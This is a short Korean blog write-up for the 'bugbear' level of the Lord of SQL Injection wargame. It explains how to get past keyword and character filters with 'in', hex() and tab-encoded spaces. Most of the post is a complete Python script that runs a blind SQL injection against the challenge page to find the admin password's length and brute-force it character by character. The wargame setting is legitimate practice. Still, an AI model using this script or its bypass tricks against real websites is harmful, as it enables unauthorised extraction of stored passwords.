Web Hacking/LOS

Lord of SQL Injection - bugbear

Lucvs 2021. 8. 16. 20:13

필터링이 계속 추가된다. 그러나 모든 것에는 방법이 있을 것이다. 

like 연산자를 사용할 수 없다는 점이 추가되었다.

 

'=' 을 우회하는 것에는 like 연산자와 in 연산자가 있다.

in 연산자는, A in ('B') 와 같은 방법으로 사용한다.

 

필터링하지는 않지만, 괄호도 필터링 해보자.

'(' - 0x28

')' - 0x29

 

또한 ord() 함수를 사용할 수 없다. or 문자열 필터링에 걸리기 때문에다.

그렇게 때문에 decimal 이 아닌 hexadecimal 로 비교하면 되겠다.

 

  1 # For LOS exploitation
  2 import requests
  3 
  4 requests.packages.urllib3.disable_warnings()
  5 org_url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
  6 header  = {'Cookie': 'PHPSESSID='}
  7 session = requests.session()
  8 
  9 
 10 # Check Length of PW
 11 pass_length = 0
 12 
 13 for i in range(0, 100):
 14     payload = '?pw=ABCD&no=1234%09||%09id%09in%09%28"admin"%29%09%26%26%09length%28pw%29%09in%09%28' + str(i) + '%29'
 15     res = session.get(url = org_url + payload, headers=header, verify=False)
 16 
 17     if "Hello admin" in res.text:
 18         pass_length = i
 19         print("Length of PW is [ %d ]\n" % i)
 20         break
 21 
 22 
 23 # Brute Force
 24 password = ''
 25 
 26 for i in range(1, pass_length + 1):
 27     for j in range(33, 122):
 28         payload = '?pw=ABCD&no=1234%09||%09id%09in%09%28"admin"%29%09%26%26%09hex%28mid%28pw,' + str(i) + ',1%29%29%09in%09' + '%28hex%28' + str(j) + '%29%29'
 29         res = session.get(url = org_url + payload, headers = header, verify=False)
 30 
 31         if "Hello admin" in res.text:
 32             password += chr(j)
 33             print("Current PW is %s" % password)
 34             break
 35 
 36 
 37 # Result
 38 print("\nRESULT")
 39 print("-------------")
 40 print("PW --> %s" % password)